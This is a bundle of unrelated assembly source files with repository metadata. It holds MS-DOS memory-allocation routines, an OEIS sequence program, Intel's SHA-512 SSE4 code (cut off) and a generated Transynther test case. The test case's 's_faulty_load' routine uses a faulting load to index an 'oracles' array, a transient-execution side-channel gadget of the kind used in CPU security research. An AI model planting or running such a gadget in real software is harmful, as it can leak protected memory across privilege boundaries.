ES:[DI],arena_signature_end ; IF next signature = end then jz ret_label ; GOTO ok (ret if Z) STC ; set error ret_label: return EndProc Check_signature ;** Coalesce - Combine free blocks ahead with current block ; ; Coalesce adds the block following the argument to the argument block, ; iff it's free. Coalesce is usually used to join free blocks, but ; some callers (such as $setblock) use it to join a free block to it's ; preceeding allocated block. ; ; ENTRY (ds) = pointer to the head of a free block ; (di) = 0 ; EXIT 'C' clear if OK ; (ds) unchanged, this block updated ; (ax) = address of next block, IFF not at end ; 'C' set if arena trashed ; USES (cx) procedure Coalesce,NEAR CMP BYTE PTR DS:[DI],arena_signature_end ; IF current signature = END THEN retz ; GOTO ok CALL arena_next ; ES, AX <- next block, Carry set if error retc ; IF no error THEN GOTO check coalesce_check: CMP ES:[arena_owner],DI retnz ; IF next block isnt free THEN return MOV CX,ES:[arena_size] ; CX <- next block size INC CX ; CX <- CX + 1 (for header size) ADD DS:[arena_size],CX ; current size <- current size + CX MOV CL,ES:[DI] ; move up signature MOV DS:[DI],CL JMP coalesce ; try again EndProc Coalesce BREAK <$Alloc - allocate space in memory> ;** $Alloc - Allocate Memory Space ; ; $Alloc services the INT21 that allocates memory space to a program. ; Alloc returns a pointer to a free block of ; memory that has the requested size in paragraphs. ; ; If the allocation strategy is HIGH_FIRST or HIGH_ONLY memory is ; scanned from umb_head if not from arena_head. If the strategy is ; HIGH_FIRST the scan is continued from arena_head if a block of ; appropriate size is not found in the UMBs. If the strategy is ; HIGH_FIRST+HIGH_ONLY only the UMBs are scanned for memory. ; ; In either case if bit 0 of UmbFlag is not initialized then the scan ; starts from arena_head. ; ; Assembler usage: ; MOV BX,size ; MOV AH,Alloc ; INT 21h ; ; BUGBUG - a lot can be done to improve performance. We can set marks ; so that we start searching the arena at it's first non-trivial free ; block, we can peephole the code, etc. (We can move some subr calls ; inline, etc.) I assume that this is called rarely and that the arena ; doesn't have too many memory objects in it beyond the first free one. ; verify that this is true; if so, this can stay as is ; ; ENTRY (bx) = requested size, in bytes ; (DS) = (ES) = DOSGROUP ; EXIT 'C' clear if memory allocated ; (ax:0) = address of requested memory ; 'C' set if request failed ; (AX) = error_not_enough_memory ; (bx) = max size we could have allocated ; (ax) = error_arena_trashed ; USES All procedure $ALLOC,NEAR EnterCrit critMem ; M000 - start mov ax, [arena_head] mov [start_arena], ax ; assume LOW_FIRST test byte ptr [AllocMethod], HIGH_FIRST+HIGH_ONLY ; Q: should we start scanning from ; UMB's jz norm_alloc ; N: scan from arena_head ; cmp [umb_head], -1 ; Q: Has umb_head been initialized ; je norm_alloc ; N: scan from arena_head test [UmbFlag], LINKSTATE ; Q: are umb's linked jz norm_alloc ; N: scan from arena_head mov ax, [umb_head] mov [start_arena], ax ; start_arena = umb_head ; M000 - end norm_alloc: XOR AX,AX MOV DI,AX ; SS override for next First/Best/Last ; Arena MOV [FirstArena],AX ; init the options MOV [BestArena],AX MOV [LastArena],AX PUSH AX ; alloc_max <- 0 start_scan: MOV AX,[start_arena] ; M000: AX <- beginning of arena ; MOV AX,[arena_head] ; M000: AX <- beginning of arena CALL Check_signature ; ES <- AX, carry set if error JC alloc_err ; IF error THEN GOTO err alloc_scan: PUSH ES POP DS ; DS <- ES CMP DS:[arena_owner],DI JZ alloc_free ; IF current block is free THEN examine alloc_next: ; M000 - start test [UmbFlag], LINKSTATE ; Q: are umb's linked jz norm_strat ; N: see if we reached last arena test byte ptr [AllocMethod], HIGH_FIRST ; Q: is alloc strategy high_first jz norm_strat ; N: see if we reached last arena mov ax, [start_arena] cmp ax, [arena_head] ; Q: did we start scan from ; arena_head jne norm_strat ; N: see if we reached last arena mov ax, ds ; ax = current block cmp ax, [umb_head] ; Q: check against umb_head jmp short alloc_chk_end norm_strat: ; M000 - end ; check against last sig '5A' CMP BYTE PTR DS:[DI],arena_signature_end alloc_chk_end: ; M000 ; IF current block is last THEN JZ alloc_end ; GOTO end CALL arena_next ; AX, ES <- next block, Carry set if error JNC alloc_scan ; IF no error THEN GOTO scan alloc_err: POP AX alloc_trashed: LeaveCrit critMem error error_arena_trashed alloc_end: CMP [FirstArena],0 LJNZ alloc_do_split ; M000 - start mov ax, [arena_head] cmp ax, [start_arena] ; Q: started scanning from arena_head je alloc_fail ; Y: not enough memory ; N: ; Q: is the alloc strat HIGH_ONLY test byte ptr [AllocMethod], HIGH_ONLY jnz alloc_fail ; Y: return size of largest UMB mov [start_arena], ax ; N: start scanning from arena_head jmp short start_scan ; M000 - end alloc_fail: invoke get_user_stack POP BX MOV [SI].user_BX,BX LeaveCrit critMem error error_not_enough_memory alloc_free: CALL coalesce ; add following free block to current JC alloc_err ; IF error THEN GOTO err MOV CX,DS:[arena_size] POP DX ; check for max found size CMP CX,DX JNA alloc_test MOV DX,CX alloc_test: PUSH DX CMP BX,CX ; IF BX > size of current block THEN JA alloc_next ; GOTO next CMP [FirstArena],0 JNZ alloc_best MOV [FirstArena],DS ; save first one found alloc_best: CMP [BestArena],0 JZ alloc_make_best ; initial best PUSH ES MOV ES,[BestArena] CMP ES:[arena_size],CX ; is size of best larger than found? POP ES JBE alloc_last alloc_make_best: MOV [BestArena],DS ; assign best alloc_last: MOV [LastArena],DS ; assign last JMP alloc_next ; ; split the block high ; alloc_do_split_high: MOV DS,[LastArena] MOV CX,DS:[arena_size] SUB CX,BX MOV DX,DS JE alloc_set_owner ; sizes are equal, no split ADD DX,CX ; point to next block MOV ES,DX ; no decrement! DEC CX XCHG BX,CX ; bx has size of lower block JMP short alloc_set_sizes ; cx has upper (requested) size ; ; we have scanned memory and have found all appropriate blocks ; check for the type of allocation desired; first and best are identical ; last must be split high ; alloc_do_split: ; M000 - start xor cx, cx mov cl, byte ptr [AllocMethod] and cx, STRAT_MASK ; mask off bit 7 cmp cx, BEST_FIT ; Q; is the alloc strategy best_fit ; CMP BYTE PTR [AllocMethod], BEST_FIT ; M000 - end ; Q: is the alloc strategy best_fit JA alloc_do_split_high ; N: it is last fit MOV DS,[FirstArena] ; assume first_fit JB alloc_get_size ; it is first_fit MOV DS,[BestArena] ; it is last_fit alloc_get_size: MOV CX,DS:[arena_size] SUB CX,BX ; get room left over MOV AX,DS MOV DX,AX ; save for owner setting JE alloc_set_owner ; IF BX = size THEN (don't split) ADD AX,BX INC AX ; remember the header MOV ES,AX ; ES <- DS + BX (new header location) DEC CX ; CX <- size of split block alloc_set_sizes: MOV DS:[arena_size],BX ; current size <- BX MOV ES:[arena_size],CX ; split size <- CX MOV BL,arena_signature_normal XCHG BL,DS:[DI] ; current signature <- 4D MOV ES:[DI],BL ; new block sig <- old block sig MOV ES:[arena_owner],DI alloc_set_owner: MOV DS,DX MOV AX,[CurrentPDB] ; SS override MOV DS:[arena_owner],AX MOV AX,DS INC AX POP BX LeaveCrit critMem transfer SYS_RET_OK EndProc $alloc BREAK $SETBLOCK - change size of an allocated block (if possible) ;** $SETBLOCK - Change size of an Alocated Block ; ; Setblock changes the size of an allocated block. First, we coalesce ; any following free space onto this block; then we try to trim the ; block down to the size requested. ; ; Note that if the guy wants to grow the block but that growth fails, ; we still go ahead and coalesce any trailing free blocks onto it. ; Thus the maximum-size-possible value that we return has already ; been allocated! This is a bug, dare we fix it? BUGBUG ; ; NOTE - $SETBLOCK is in bed with $ALLOC and jumps into $ALLOC to ; finish it's work. FOr this reason we build the allocsf ; structure on the frame, to make us compatible with $ALLOCs ; code. ; ; ENTRY (es) = segment of old block ; (bx) = newsize ; (ah) = SETBLOCK ; ; EXIT 'C' clear if OK ; 'C' set if error ; (ax) = error_invalid_block ; = error_arena_trashed ; = error_not_enough_memory ; = error_invalid_function ; (bx) = maximum size possible, iff (ax) = error_not_enough_memory ; USES ???? BUGBUG procedure $SETBLOCK,NEAR EnterCrit critMem MOV DI,arena_signature MOV AX,ES DEC AX CALL check_signature JNC setblock_grab setblock_bad: JMP alloc_trashed setblock_grab: MOV DS,AX CALL coalesce JC setblock_bad MOV CX,DS:[arena_size] PUSH CX CMP BX,CX JBE alloc_get_size JMP alloc_fail EndProc $setblock BREAK $DEALLOC - free previously allocated piece of memory ;** $DEALLOC - Free Heap Memory ; ; ENTRY (es) = address of item ; ; EXIT 'C' clear of OK ; 'C' set if error ; (AX) = error_invalid_block ; USES ???? BUGBUG procedure $DEALLOC,NEAR EnterCrit critMem ; M016, M068 - Start test [DOS_FLAG], EXECA20OFF ; Q: was the previous call an int 21 ; exec call jz @f ; N: continue cmp [A20OFF_COUNT], 0 ; Q: is count 0 jne @f ; N: continue mov [A20OFF_COUNT], 1 ; Y: set count to 1 @@: ; M016, M068 - End MOV DI,arena_signature MOV AX,ES DEC AX CALL check_signature JC dealloc_err MOV ES:[arena_owner],DI LeaveCrit critMem transfer SYS_RET_OK dealloc_err: LeaveCrit critMem error error_invalid_block EndProc $DEALLOC BREAK $AllocOper - get/set allocation mechanism ;** $AllocOper - Get/Set Allocation Mechanism ; ; Assembler usage: ; MOV AH,AllocOper ; MOV BX,method ; MOV AL,func ; INT 21h ; ; ENTRY ; (al) = 0 ; Get allocation Strategy in (ax) ; ; (al) = 1, (bx) = method = zw0000xy ; Set allocation strategy. ; w = 1 => HIGH_ONLY ; z = 1 => HIGH_FIRST ; xy = 00 => FIRST_FIT ; = 01 => BEST_FIT ; = 10 => LAST_FIT ; ; (al) = 2 ; Get UMB link state in (al) ; ; (al) = 3 ; Set UMB link state ; (bx) = 0 => Unlink UMBs ; (bx) = 1 => Link UMBs ; ; ; EXIT 'C' clear if OK ; ; if (al) = 0 ; (ax) = existing method ; if (al) = 1 ; Sets allocation strategy ; if (al) = 2 ; (al) = 0 => UMBs not linked ; (al) = 1 => UMBs linked in ; if (al) = 3 ; Links/Unlinks the UMBs into DOS chain ; ; 'C' set if error ; AX = error_invalid_function ; ; Rev. M000 - added support for HIGH_FIRST in (al) = 1. 7/9/90 ; Rev. M003 - added functions (al) = 2 and (al) = 3. 7/18/90 ; Rev. M009 - (al) = 3 will return 'invalid function' in ax if ; umbhead has'nt been initialized by sysinit and 'trashed ; arena' if an arena sig is damaged. ; procedure $AllocOper,NEAR or al, al jz AllocGetStrat cmp al, 1 jz AllocSetStrat cmp al, 2 jz AllocGetLink cmp al, 3 jz AllocSetLink AllocOperError: ; SS override MOV EXTERR_LOCUS,errLoc_mem ; Extended Error Locus error error_invalid_function AllocArenaError: MOV EXTERR_LOCUS,errLoc_mem ; M009: Extended Error Locus error error_arena_trashed ; M009: AllocGetStrat: ; SS override MOV AL,BYTE PTR [AllocMethod] XOR AH,AH transfer SYS_RET_OK AllocSetStrat: push bx ; M000 - start and bx, STRAT_MASK ; M064: mask off bit 6 & 7 cmp bx,2 ; BX must be 0-2 pop bx ; M000 - end ja AllocOperError MOV [AllocMethod],BL transfer SYS_RET_OK AllocGetLink: mov al, [UmbFlag] ; return link state in al and al, LINKSTATE transfer SYS_RET_OK AllocSetLink: ; M009 - start mov cx, [umb_head] ; cx = umb_head cmp cx, 0ffffh ; Q: has umb_head been initialized je AllocOperError ; N: error ; Y: continue ; M009 - end cmp bx, 1 jb UnlinkUmbs jz LinkUmbs jmp short AllocOperError UnlinkUmbs: test [UmbFlag], LINKSTATE ; Q: umbs unlinked? jz unlinked ; Y: return call GetLastArena ; get arena before umb_head in DS jc AllocArenaError ; M009: arena trashed ; make it last mov byte ptr ds:[0], arena_signature_end and [UmbFlag], NOT LINKSTATE; indicate unlink'd state in umbflag unlinked: transfer SYS_RET_OK LinkUmbs: test [UmbFlag], LINKSTATE ; Q: umbs linked? jnz linked ; Y: return call GetLastArena ; get arena before umb_head jc AllocArenaError ; M009: arena trashed ; make it normal. M061: ds points to ; arena before umb_head mov byte ptr ds:[0], arena_signature_normal or [UmbFlag], LINKSTATE ; indicate link'd state in umbflag linked: transfer SYS_RET_OK EndProc $AllocOper ;-------------------------------------------------------------------------- ; ; Procedure Name : GetLastArena - M003 ; ; Inputs : cx = umb_head ; ; ; Outputs : If UMBs are linked ; ES = umb_head ; DS = arena before umb_head ; else ; DS = last arena ; ES = next arena. will be umb_head if NC. ; ; CY if error ; ; Uses : DS, ES, DI, BX ; ;-------------------------------------------------------------------------- Procedure GetLastArena, NEAR push ax ; save ax mov ax, [arena_head] mov es, ax ; es = arena_head xor di, di cmp byte ptr es:[di],arena_signature_end ; Q: is this the last arena je GLA_done ; Y: return last arena in ES GLA_next: mov ds, ax call arena_next ; ax, es -> next arena jc GLA_err test [UmbFlag], LINKSTATE ; Q: are UMBs linked jnz GLA_chkumb ; Y: terminating condition is ; umb_head ; N: terminating condition is 05Ah cmp byte ptr es:[di],arena_signature_end ; Q: is this the last arena jmp short @f GLA_chkumb: cmp ax, cx ; Q: is this umb_head @@: jne GLA_next ; N: get next arena GLA_done: ; M061 - Start test [UmbFlag], LINKSTATE ; Q: are UMBs linked jnz GLA_ret ; Y: we're done ; N: let us confirm that the next ; arena is umb_head mov ds, ax call arena_next ; ax, es -> next arena jc GLA_err cmp ax, cx ; Q: is this umb_head jne GLA_err ; N: error ; M061 - End GLA_ret: clc pop ax ; M061 ret ; M061 GLA_err: stc ; M061 pop ax ret EndProc GetLastArena DOSCODE ENDS END  
26.078844
76
0.608838
[ "Unlicense" ]
bestbat/Windows-Server
base/mvdm/dos/v86/doskrnl/dos/alloc.asm
19,846
Assembly
4
; A132607: X-values of solutions to the equation X*(X + 1) - 11*Y^2 = 0. ; Submitted by Christian Krause ; 0,99,39600,15760899,6272798400,2496558002499,993623812196400,395459780696164899,157391999093261433600,62641620179337354408099,24931207439377173792990000,9922557919251935832255612099 mov $2,1 lpb $0 sub $0,1 mov $1,$3 mul $1,18 add $2,$1 add $3,$2 lpe pow $3,2 mov $0,$3 mul $0,99
24.875
183
0.743719
[ "Apache-2.0" ]
ckrause/loda-programs
oeis/132/A132607.asm
398
Assembly
4
Name: Compress-p.asm Type: file Size: 14591 Last-Modified: '1992-07-30T05:00:35Z' SHA-1: 26A89960581BB8FC4CFB6CEECC33875F11D389BA Description: null
21.142857
47
0.810811
[ "MIT" ]
prismotizm/gigaleak
other.7z/NEWS.7z/NEWS/テープリストア/NEWS_05/NEWS_05.tar/home/kimura/kart/risc.lzh/risc/join/Compress-p.asm
148
Assembly
4
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r12 push %r15 push %rax push %rcx push %rdi push %rdx push %rsi lea addresses_D_ht+0x14c3d, %rdx sub $24842, %r15 vmovups (%rdx), %ymm2 vextracti128 $0, %ymm2, %xmm2 vpextrq $0, %xmm2, %r12 nop xor $44756, %rax lea addresses_normal_ht+0xeaad, %rsi lea addresses_A_ht+0x19d1d, %rdi nop nop nop nop nop and $24651, %r11 mov $122, %rcx rep movsw nop nop nop nop sub %rdx, %rdx pop %rsi pop %rdx pop %rdi pop %rcx pop %rax pop %r15 pop %r12 pop %r11 ret .global s_faulty_load s_faulty_load: push %r10 push %r11 push %r13 push %r8 push %rax push %rbp push %rbx // Load lea addresses_A+0x1cc1d, %r10 nop nop nop dec %r8 mov (%r10), %r11w nop nop xor %r10, %r10 // Store lea addresses_WT+0x9e1d, %rbx clflush (%rbx) nop nop nop add $29359, %rbp movb $0x51, (%rbx) nop nop nop xor %r10, %r10 // Faulty Load lea addresses_US+0xa81d, %rbx clflush (%rbx) sub $10823, %rax mov (%rbx), %r11 lea oracles, %r8 and $0xff, %r11 shlq $12, %r11 mov (%r8,%r11,1), %r11 pop %rbx pop %rbp pop %rax pop %r8 pop %r13 pop %r11 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 0, 'same': False, 'type': 'addresses_US'}, 'OP': 'LOAD'} {'src': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 9, 'same': False, 'type': 'addresses_A'}, 'OP': 'LOAD'} {'dst': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 9, 'same': False, 'type': 'addresses_WT'}, 'OP': 'STOR'} [Faulty Load] {'src': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 0, 'same': True, 'type': 'addresses_US'}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 4, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'LOAD'} {'src': {'congruent': 1, 'same': False, 'type': 'addresses_normal_ht'}, 'dst': {'congruent': 8, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'REPM'} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
45.201835
2,999
0.659022
[ "MIT" ]
danielmgmi/medusa
Transynther/_processed/US/_zr_/i7-7700_9_0xca_notsx.log_21829_1689.asm
4,927
Assembly
4
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; Copyright (c) 2012, Intel Corporation ; ; All rights reserved. ; ; Redistribution and use in source and binary forms, with or without ; modification, are permitted provided that the following conditions are ; met: ; ; * Redistributions of source code must retain the above copyright ; notice, this list of conditions and the following disclaimer. ; ; * Redistributions in binary form must reproduce the above copyright ; notice, this list of conditions and the following disclaimer in the ; documentation and/or other materials provided with the ; distribution. ; ; * Neither the name of the Intel Corporation nor the names of its ; contributors may be used to endorse or promote products derived from ; this software without specific prior written permission. ; ; ; THIS SOFTWARE IS PROVIDED BY INTEL CORPORATION "AS IS" AND ANY ; EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE ; IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR ; PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL INTEL CORPORATION OR ; CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, ; EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, ; PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR ; PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF ; LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING ; NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS ; SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; ; Example YASM command lines: ; Windows: yasm -f x64 -D WINABI sha512_sse4.asm ; Linux: yasm -f elf64 sha512_sse4.asm ; BITS 64 section .text ; Virtual Registers %ifdef WINABI %define msg rcx ; ARG1 %define digest rdx ; ARG2 %define msglen r8 ; ARG3 %define T1 rsi %define T2 rdi %else %define msg rdi ; ARG1 %define digest rsi ; ARG2 %define msglen rdx ; ARG3 %define T1 rcx %define T2 r8 %endif %define a_64 r9 %define b_64 r10 %define c_64 r11 %define d_64 r12 %define e_64 r13 %define f_64 r14 %define g_64 r15 %define h_64 rbx %define tmp0 rax ; Local variables (stack frame) ; Note: frame_size must be an odd multiple of 8 bytes to XMM align RSP struc frame .W: resq 80 ; Message Schedule .WK: resq 2 ; W[t] + K[t] | W[t+1] + K[t+1] %ifdef WINABI .GPRSAVE: resq 7 %else .GPRSAVE: resq 5 %endif endstruc ; Useful QWORD "arrays" for simpler memory references %define MSG(i) msg + 8*(i) ; Input message (arg1) %define DIGEST(i) digest + 8*(i) ; Output Digest (arg2) %define K_t(i) K512 + 8*(i) wrt rip ; SHA Constants (static mem) %define W_t(i) rsp + frame.W + 8*(i) ; Message Schedule (stack frame) %define WK_2(i) rsp + frame.WK + 8*((i) % 2) ; W[t]+K[t] (stack frame) ; MSG, DIGEST, K_t, W_t are arrays ; WK_2(t) points to 1 of 2 qwords at frame.WK depdending on t being odd/even %macro RotateState 0 ; Rotate symbles a..h right %xdefine %%TMP h_64 %xdefine h_64 g_64 %xdefine g_64 f_64 %xdefine f_64 e_64 %xdefine e_64 d_64 %xdefine d_64 c_64 %xdefine c_64 b_64 %xdefine b_64 a_64 %xdefine a_64 %%TMP %endmacro %macro SHA512_Round 1 %assign %%t (%1) ; Compute Round %%t mov T1, f_64 ; T1 = f mov tmp0, e_64 ; tmp = e xor T1, g_64 ; T1 = f ^ g ror tmp0, 23 ; 41 ; tmp = e ror 23 and T1, e_64 ; T1 = (f ^ g) & e xor tmp0, e_64 ; tmp = (e ror 23) ^ e xor T1, g_64 ; T1 = ((f ^ g) & e) ^ g = CH(e,f,g) add T1, [WK_2(%%t)] ; W[t] + K[t] from message scheduler ror tmp0, 4 ; 18 ; tmp = ((e ror 23) ^ e) ror 4 xor tmp0, e_64 ; tmp = (((e ror 23) ^ e) ror 4) ^ e mov T2, a_64 ; T2 = a add T1, h_64 ; T1 = CH(e,f,g) + W[t] + K[t] + h ror tmp0, 14 ; 14 ; tmp = ((((e ror23)^e)ror4)^e)ror14 = S1(e) add T1, tmp0 ; T1 = CH(e,f,g) + W[t] + K[t] + S1(e) mov tmp0, a_64 ; tmp = a xor T2, c_64 ; T2 = a ^ c and tmp0, c_64 ; tmp = a & c and T2, b_64 ; T2 = (a ^ c) & b xor T2, tmp0 ; T2 = ((a ^ c) & b) ^ (a & c) = Maj(a,b,c) mov tmp0, a_64 ; tmp = a ror tmp0, 5 ; 39 ; tmp = a ror 5 xor tmp0, a_64 ; tmp = (a ror 5) ^ a add d_64, T1 ; e(next_state) = d + T1 ror tmp0, 6 ; 34 ; tmp = ((a ror 5) ^ a) ror 6 xor tmp0, a_64 ; tmp = (((a ror 5) ^ a) ror 6) ^ a lea h_64, [T1 + T2] ; a(next_state) = T1 + Maj(a,b,c) ror tmp0, 28 ; 28 ; tmp = ((((a ror5)^a)ror6)^a)ror28 = S0(a) add h_64, tmp0 ; a(next_state) = T1 + Maj(a,b,c) S0(a) RotateState %endmacro %macro SHA512_2Sched_2Round_sse 1 %assign %%t (%1) ; Compute rounds %%t-2 and %%t-1 ; Compute message schedule QWORDS %%t and %%t+1 ; Two rounds are computed based on the values for K[t-2]+W[t-2] and ; K[t-1]+W[t-1] which were previously stored at WK_2 by the message ; scheduler. ; The two new schedule QWORDS are stored at [W_t(%%t)] and [W_t(%%t+1)]. ; They are then added to their respective SHA512 constants at ; [K_t(%%t)] and [K_t(%%t+1)] and stored at dqword [WK_2(%%t)] ; For brievity, the comments following vectored instructions only refer to ; the first of a pair of QWORDS. ; Eg. XMM2=W[t-2] really means XMM2={W[t-2]|W[t-1]} ; The computation of the message schedule and the rounds are tightly ; stitched to take advantage of instruction-level parallelism. ; For clarity, integer instructions (for the rounds calculation) are indented ; by one tab. Vectored instructions (for the message scheduler) are indented ; by two tabs. mov T1, f_64 movdqa xmm2, [W_t(%%t-2)] ; XMM2 = W[t-2] xor T1, g_64 and T1, e_64 movdqa xmm0, xmm2 ; XMM0 = W[t-2] xor T1, g_64 add T1, [WK_2(%%t)] movdqu xmm5, [W_t(%%t-15)] ; XMM5 = W[t-15] mov tmp0, e_64 ror tmp0, 23 ; 41 movdqa xmm3, xmm5 ; XMM3 = W[t-15] xor tmp0, e_64 ror tmp0, 4 ; 18 psrlq xmm0, 61 - 19 ; XMM0 = W[t-2] >> 42 xor tmp0, e_64 ror tmp0, 14 ; 14 psrlq xmm3, (8 - 7) ; XMM3 = W[t-15] >> 1 add T1, tmp0 add T1, h_64 pxor xmm0, xmm2 ; XMM0 = (W[t-2] >> 42) ^ W[t-2] mov T2, a_64 xor T2, c_64 pxor xmm3, xmm5 ; XMM3 = (W[t-15] >> 1) ^ W[t-15] and T2, b_64 mov tmp0, a_64 psrlq xmm0, 19 - 6 ; XMM0 = ((W[t-2]>>42)^W[t-2])>>13 and tmp0, c_64 xor T2, tmp0 psrlq xmm3, (7 - 1) ; XMM3 = ((W[t-15]>>1)^W[t-15])>>6 mov tmp0, a_64 ror tmp0, 5 ; 39 pxor xmm0, xmm2 ; XMM0 = (((W[t-2]>>42)^W[t-2])>>13)^W[t-2] xor tmp0, a_64 ror tmp0, 6 ; 34 pxor xmm3, xmm5 ; XMM3 = (((W[t-15]>>1)^W[t-15])>>6)^W[t-15] xor tmp0, a_64 ror tmp0, 28 ; 28 psrlq xmm0, 6 ; XMM0 = ((((W[t-2]>>42)^W[t-2])>>13)^W[t-2])>>6 add T2, tmp0 add d_64, T1 psrlq xmm3, 1 ; XMM3 = (((W[t-15]>>1)^W[t-15])>>6)^W[t-15]>>1 lea h_64, [T1 + T2] RotateState movdqa xmm1, xmm2 ; XMM1 = W[t-2] mov T1, f_64 xor T1, g_64 movdqa xmm4, xmm5 ; XMM4 = W[t-15] and T1, e_64 xor T1, g_64 psllq xmm1, (64 - 19) - (64 - 61) ; XMM1 = W[t-2] << 42 add T1, [WK_2(%%t+1)] mov tmp0, e_64 psllq xmm4, (64 - 1) - (64 - 8) ; XMM4 = W[t-15] << 7 ror tmp0, 23 ; 41 xor tmp0, e_64 pxor xmm1, xmm2 ; XMM1 = (W[t-2] << 42)^W[t-2] ror tmp0, 4 ; 18 xor tmp0, e_64 pxor xmm4, xmm5 ; XMM4 = (W[t-15]<<7)^W[t-15] ror tmp0, 14 ; 14 add T1, tmp0 psllq xmm1, (64 - 61) ; XMM1 = ((W[t-2] << 42)^W[t-2])<<3 add T1, h_64 mov T2, a_64 psllq xmm4, (64 - 8) ; XMM4 = ((W[t-15]<<7)^W[t-15])<<56 xor T2, c_64 and T2, b_64 pxor xmm0, xmm1 ; XMM0 = s1(W[t-2]) mov tmp0, a_64 and tmp0, c_64 movdqu xmm1, [W_t(%%t- 7)] ; XMM1 = W[t-7] xor T2, tmp0 pxor xmm3, xmm4 ; XMM3 = s0(W[t-15]) mov tmp0, a_64 paddq xmm0, xmm3 ; XMM0 = s1(W[t-2]) + s0(W[t-15]) ror tmp0, 5 ; 39 paddq 